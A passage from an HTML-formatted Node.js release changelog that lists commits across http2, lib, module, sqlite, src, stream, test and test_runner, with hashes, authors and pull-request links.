<li>[<a href="https://github.com/nodejs/node/commit/5cdcba17cc"><code>5cdcba17cc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http2</strong>: add http1Options for HTTP/1 fallback configuration (Amol Yadav) <a href="https://github.com/nodejs/node/pull/61713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61713/hovercard">#61713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/687c0acd00"><code>687c0acd00</code></a>] - <strong>http2</strong>: fix FileHandle leak in respondWithFile (sangwook) <a href="https://github.com/nodejs/node/pull/61707" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61707/hovercard">#61707</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0c8f802ec2"><code>0c8f802ec2</code></a>] - <strong>inspector</strong>: add Target.getTargets and extract TargetManager (Kohei) <a href="https://github.com/nodejs/node/pull/62487" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62487/hovercard">#62487</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7de8a303c1"><code>7de8a303c1</code></a>] - <strong>inspector</strong>: unwrap internal/debugger/inspect imports (René) <a href="https://github.com/nodejs/node/pull/61974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61974/hovercard">#61974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59ac10a4fd"><code>59ac10a4fd</code></a>] - <strong>lib</strong>: make SubtleCrypto.supports enumerable (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62307" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62307/hovercard">#62307</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9dc102ba90"><code>9dc102ba90</code></a>] - <strong>lib</strong>: prefer primordials in SubtleCrypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62226" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62226/hovercard">#62226</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/78a9aa8f32"><code>78a9aa8f32</code></a>] - <strong>lib</strong>: fix source map url parse in dynamic imports (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61990" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61990/hovercard">#61990</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16b8cc6643"><code>16b8cc6643</code></a>] - <strong>lib</strong>: improve argument handling in Blob constructor (Ms2ger) <a href="https://github.com/nodejs/node/pull/61980" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61980/hovercard">#61980</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a03b5d39b8"><code>a03b5d39b8</code></a>] - <strong>lib</strong>: reduce cycles in esm loader and load it in snapshot (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61769" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61769/hovercard">#61769</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1017bf5f86"><code>1017bf5f86</code></a>] - <strong>lib</strong>: remove top-level getOptionValue() calls in lib/internal/modules (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61769" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61769/hovercard">#61769</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d79984b41b"><code>d79984b41b</code></a>] - <strong>lib</strong>: optimize styleText when validateStream is false (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61792" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61792/hovercard">#61792</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6462b89d10"><code>6462b89d10</code></a>] - <strong>meta</strong>: bump actions/download-artifact from 7.0.0 to 8.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62063" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62063/hovercard">#62063</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5bb89916ea"><code>5bb89916ea</code></a>] - <strong>meta</strong>: bump actions/upload-artifact from 6.0.0 to 7.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62062" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62062/hovercard">#62062</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b067d74d94"><code>b067d74d94</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.14.2 to 2.15.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62064" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62064/hovercard">#62064</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/830e5cd125"><code>830e5cd125</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.32.0 to 4.32.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61911" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61911/hovercard">#61911</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16c839a3dd"><code>16c839a3dd</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.14.1 to 2.14.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61909" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61909/hovercard">#61909</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/498abf661e"><code>498abf661e</code></a>] - <strong>meta</strong>: bump actions/stale from 10.1.1 to 10.2.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61908" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61908/hovercard">#61908</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/78ac17f426"><code>78ac17f426</code></a>] - <strong>module</strong>: fix coverage of mocked CJS modules imported from ESM (Marco) <a href="https://github.com/nodejs/node/pull/62133" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62133/hovercard">#62133</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46cfad4138"><code>46cfad4138</code></a>] - <strong>module</strong>: run require.resolve through module.registerHooks() (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62028" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62028/hovercard">#62028</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8b6be3fe14"><code>8b6be3fe14</code></a>] - <strong>module</strong>: mark require(esm) as stable (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60959" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60959/hovercard">#60959</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/68fbc0c6cc"><code>68fbc0c6cc</code></a>] - <strong>module</strong>: mark module compile cache as stable (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60971" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60971/hovercard">#60971</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c851e76f8c"><code>c851e76f8c</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: add <code>setTOS</code> and <code>getTOS</code> to <code>Socket</code> (Amol Yadav) <a href="https://github.com/nodejs/node/pull/61503" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61503/hovercard">#61503</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c206ecb31"><code>4c206ecb31</code></a>] - <strong>quic</strong>: remove CryptoKey support from session keys option (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62335" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62335/hovercard">#62335</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2f9c085cf5"><code>2f9c085cf5</code></a>] - <strong>sqlite</strong>: handle stmt invalidation (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61877/hovercard">#61877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6ac4304c87"><code>6ac4304c87</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>sqlite</strong>: add limits property to DatabaseSync (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61298/hovercard">#61298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aaf9af1672"><code>aaf9af1672</code></a>] - <strong>sqlite</strong>: mark as release candidate (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61262" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61262/hovercard">#61262</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d67e5d693"><code>7d67e5d693</code></a>] - <strong>src</strong>: convert context_frame field in AsyncWrap to internal field (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62103" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62103/hovercard">#62103</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8ea1aaa8a"><code>d8ea1aaa8a</code></a>] - <strong>src</strong>: make AsyncWrap subclass internal field counts explicit (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62103" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62103/hovercard">#62103</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1dbf3bedbe"><code>1dbf3bedbe</code></a>] - <strong>src</strong>: improve EC JWK import performance (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62396" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62396/hovercard">#62396</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd84af747b"><code>cd84af747b</code></a>] - <strong>src</strong>: handle null backing store in ArrayBufferViewContents::Read (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/62343" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62343/hovercard">#62343</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f553cdc01"><code>4f553cdc01</code></a>] - <strong>src</strong>: enable compilation/linking with OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62410" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62410/hovercard">#62410</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/70f8057258"><code>70f8057258</code></a>] - <strong>src</strong>: use stack allocation in indexOf latin1 path (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/62268" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62268/hovercard">#62268</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d788467b6a"><code>d788467b6a</code></a>] - <strong>src</strong>: expose async context frame debugging helper to JS (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62103" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62103/hovercard">#62103</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4213f893ec"><code>4213f893ec</code></a>] - <strong>src</strong>: release context frame in AsyncWrap::EmitDestroy (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/61995" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61995/hovercard">#61995</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/79fb8cbcf5"><code>79fb8cbcf5</code></a>] - <strong>src</strong>: use validate_ascii_with_errors instead of validate_ascii (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/61122" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61122/hovercard">#61122</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2df328d59e"><code>2df328d59e</code></a>] - <strong>src</strong>: fix flags argument offset in JSUdpWrap (Weixie Cui) <a href="https://github.com/nodejs/node/pull/61948" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61948/hovercard">#61948</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eb77a7a297"><code>eb77a7a297</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: add C++ support for diagnostics channels (RafaelGSS) <a href="https://github.com/nodejs/node/pull/61869" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61869/hovercard">#61869</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6cda3d30c0"><code>6cda3d30c0</code></a>] - <strong>src</strong>: remove unnecessary <code>c_str()</code> conversions in diagnostic messages (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61786" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61786/hovercard">#61786</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/26c6045363"><code>26c6045363</code></a>] - <strong>src</strong>: use bool literals in TraceEnvVarOptions (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61425" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61425/hovercard">#61425</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c8f700fd7"><code>3c8f700fd7</code></a>] - <strong>src</strong>: track allocations made by zstd streams (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61717" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61717/hovercard">#61717</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/94dbb36d4d"><code>94dbb36d4d</code></a>] - <strong>src</strong>: do not store compression methods on Brotli classes (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61717" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61717/hovercard">#61717</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bef661f182"><code>bef661f182</code></a>] - <strong>src</strong>: extract zlib allocation tracking into its own class (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61717" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61717/hovercard">#61717</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e8079a8297"><code>e8079a8297</code></a>] - <strong>src</strong>: release memory for zstd contexts in <code>Close()</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61717" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61717/hovercard">#61717</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e1197a3cc"><code>6e1197a3cc</code></a>] - <strong>src</strong>: add more checks and clarify docs for external references (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61719" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61719/hovercard">#61719</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c28a22c4be"><code>c28a22c4be</code></a>] - <strong>src</strong>: fix cjs_lexer external reference registration (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61718" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61718/hovercard">#61718</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e2c5fd7c9"><code>9e2c5fd7c9</code></a>] - <strong>src</strong>: simply uint32 to string as it must not fail (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60846" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60846/hovercard">#60846</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df435d32b8"><code>df435d32b8</code></a>] - <strong>src</strong>: build v8 tick processor as built-in source text modules (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60518" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60518/hovercard">#60518</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cb3573735"><code>2cb3573735</code></a>] - <strong>src,sqlite</strong>: fix filterFunc dangling reference (Edy Silva) <a href="https://github.com/nodejs/node/pull/62281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62281/hovercard">#62281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c44f53b544"><code>c44f53b544</code></a>] - <strong>stream</strong>: preserve error over AbortError in pipeline (Marco) <a href="https://github.com/nodejs/node/pull/62113" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62113/hovercard">#62113</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc541370b4"><code>dc541370b4</code></a>] - <strong>stream</strong>: replace bind with arrow function for onwrite callback (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62087/hovercard">#62087</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6cdfbfaa7"><code>f6cdfbfaa7</code></a>] - <strong>stream</strong>: optimize webstreams pipeTo (Mattias Buelens) <a href="https://github.com/nodejs/node/pull/62079" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62079/hovercard">#62079</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fcf2a9f788"><code>fcf2a9f788</code></a>] - <strong>stream</strong>: fix brotli error handling in web compression streams (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cdec579c6b"><code>cdec579c6b</code></a>] - <strong>stream</strong>: improve Web Compression spec compliance (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dbe5898379"><code>dbe5898379</code></a>] - <strong>stream</strong>: fix UTF-8 character corruption in fast-utf8-stream (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61745" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61745/hovercard">#61745</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/531e62cd74"><code>531e62cd74</code></a>] - <strong>stream</strong>: fix TransformStream race on cancel with pending write (Marco) <a href="https://github.com/nodejs/node/pull/62040" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62040/hovercard">#62040</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a3751f2249"><code>a3751f2249</code></a>] - <strong>stream</strong>: accept ArrayBuffer in CompressionStream and DecompressionStream (조수민) <a href="https://github.com/nodejs/node/pull/61913" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61913/hovercard">#61913</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/65aa8f68d0"><code>65aa8f68d0</code></a>] - <strong>stream</strong>: fix pipeTo to defer writes per WHATWG spec (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61800" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61800/hovercard">#61800</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/15f32b4935"><code>15f32b4935</code></a>] - <strong>stream</strong>: fix decoded fromList chunk boundary check (Thomas Watson) <a href="https://github.com/nodejs/node/pull/61884" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61884/hovercard">#61884</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/569767e52e"><code>569767e52e</code></a>] - <strong>stream</strong>: add fast paths for webstreams read and pipeTo (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61807" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61807/hovercard">#61807</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6834ca13bb"><code>6834ca13bb</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: rename <code>Duplex.toWeb()</code> type option to <code>readableType</code> (René) <a href="https://github.com/nodejs/node/pull/61632" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61632/hovercard">#61632</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5ed5474437"><code>5ed5474437</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 2cb332d710 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62483" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62483/hovercard">#62483</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c9c0f8577"><code>3c9c0f8577</code></a>] - <strong>test</strong>: fix test-buffer-zero-fill-cli to be effective (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/60623" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60623/hovercard">#60623</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/19a52a1abe"><code>19a52a1abe</code></a>] - <strong>test</strong>: update WPT for url to fc3e651593 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62379" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62379/hovercard">#62379</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/111ba9bd5b"><code>111ba9bd5b</code></a>] - <strong>test</strong>: wait for reattach before initial break on restart (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62471" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62471/hovercard">#62471</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0897c6cc08"><code>0897c6cc08</code></a>] - <strong>test</strong>: disable flaky WPT Blob test on AIX (James M Snell) <a href="https://github.com/nodejs/node/pull/62470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62470/hovercard">#62470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1c3d93bfab"><code>1c3d93bfab</code></a>] - <strong>test</strong>: avoid flaky run wait in debugger restart test (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62112" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62112/hovercard">#62112</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83416a640a"><code>83416a640a</code></a>] - <strong>test</strong>: skip test-cluster-dgram-reuse on AIX 7.3 (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/62238" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62238/hovercard">#62238</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af8d0922dd"><code>af8d0922dd</code></a>] - <strong>test</strong>: add WebCrypto Promise.prototype.then pollution regression tests (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62226" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62226/hovercard">#62226</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fc9a60ec74"><code>fc9a60ec74</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 6a1c545d77 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62187/hovercard">#62187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12ba2d74fe"><code>12ba2d74fe</code></a>] - <strong>test</strong>: update WPT for url to c928b19ab0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62148" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62148/hovercard">#62148</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4e15e5b647"><code>4e15e5b647</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to c9e955840a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62147" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62147/hovercard">#62147</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc66a05558"><code>dc66a05558</code></a>] - <strong>test</strong>: improve WPT report runner (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9536e5621b"><code>9536e5621b</code></a>] - <strong>test</strong>: update WPT compression to ae05f5cb53 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fb1c0bda0a"><code>fb1c0bda0a</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 42e47329fd (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62048" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62048/hovercard">#62048</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d886f27485"><code>d886f27485</code></a>] - <strong>test</strong>: fix skipping behavior for <code>test-runner-run-files-undefined</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62026" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62026/hovercard">#62026</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f79df03e0b"><code>f79df03e0b</code></a>] - <strong>test</strong>: remove unnecessary <code>process.exit</code> calls from test files (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62020" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62020/hovercard">#62020</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1319295467"><code>1319295467</code></a>] - <strong>test</strong>: skip <code>test-url</code> on <code>--shared-ada</code> builds (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62019" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62019/hovercard">#62019</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ea06727c6"><code>2ea06727c6</code></a>] - <strong>test</strong>: skip strace test with shared openssl (Richard Lau) <a href="https://github.com/nodejs/node/pull/61987" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61987/hovercard">#61987</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c0680d5df7"><code>c0680d5df7</code></a>] - <strong>test</strong>: avoid flaky debugger restart waits (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/61773" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61773/hovercard">#61773</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/22b748ef72"><code>22b748ef72</code></a>] - <strong>test</strong>: fix typos in test files (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/61408" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61408/hovercard">#61408</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a20bf9a84d"><code>a20bf9a84d</code></a>] - <strong>test</strong>: allow filtering async internal frames in assertSnapshot (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61769" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61769/hovercard">#61769</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec2913f036"><code>ec2913f036</code></a>] - <strong>test</strong>: unify assertSnapshot stacktrace transform (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61665" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61665/hovercard">#61665</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/460f41233d"><code>460f41233d</code></a>] - <strong>test</strong>: check stability block position in API markdown (René) <a href="https://github.com/nodejs/node/pull/58590" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58590/hovercard">#58590</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9ad02065d5"><code>9ad02065d5</code></a>] - <strong>test</strong>: adapt buffer test for v8 sandbox (Shelley Vohr) <a href="https://github.com/nodejs/node/pull/61772" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61772/hovercard">#61772</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5cf001736e"><code>5cf001736e</code></a>] - <strong>test</strong>: update FileAPI tests from WPT (Ms2ger) <a href="https://github.com/nodejs/node/pull/61750" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61750/hovercard">#61750</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/84c7a23223"><code>84c7a23223</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 7cbe7e8ed9 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61729" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61729/hovercard">#61729</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/276a32fd10"><code>276a32fd10</code></a>] - <strong>test</strong>: update WPT for url to efb889eb4c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61728" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61728/hovercard">#61728</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f5f21d36a6"><code>f5f21d36a6</code></a>] - <strong>test_runner</strong>: add exports option for module mocks (sangwook) <a href="https://github.com/nodejs/node/pull/61727" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61727/hovercard">#61727</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfc8a12977"><code>bfc8a12977</code></a>] - <strong>test_runner</strong>: make it compatible with fake timers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/59272" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59272/hovercard">#59272</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0cde40e1d"><code>e0cde40e1d</code></a>] - <strong>test_runner</strong>: set non-zero exit code when suite errors occur (Edy Silva) <a href="https://github.com/nodejs/node/pull/62282" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62282/hovercard">#62282</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d74efd6834"><code>d74efd6834</code></a>] - <strong>test_runner</strong>: run afterEach on runtime skip (Igor Shevelenkov) <a href="https://github.com/nodejs/node/pull/61525" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61525/hovercard">#61525</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8287ca749e"><code>8287ca749e</code></a>] - <strong>test_runner</strong>: expose expectFailure message (sangwook) <a href="https://github.com/nodejs/node/pull/61563" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61563/hovercard">#61563</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1f2025fd1e"><code>1f2025fd1e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: expose worker ID for concurrent test execution (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61394" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61394/hovercard">#61394</a></li>
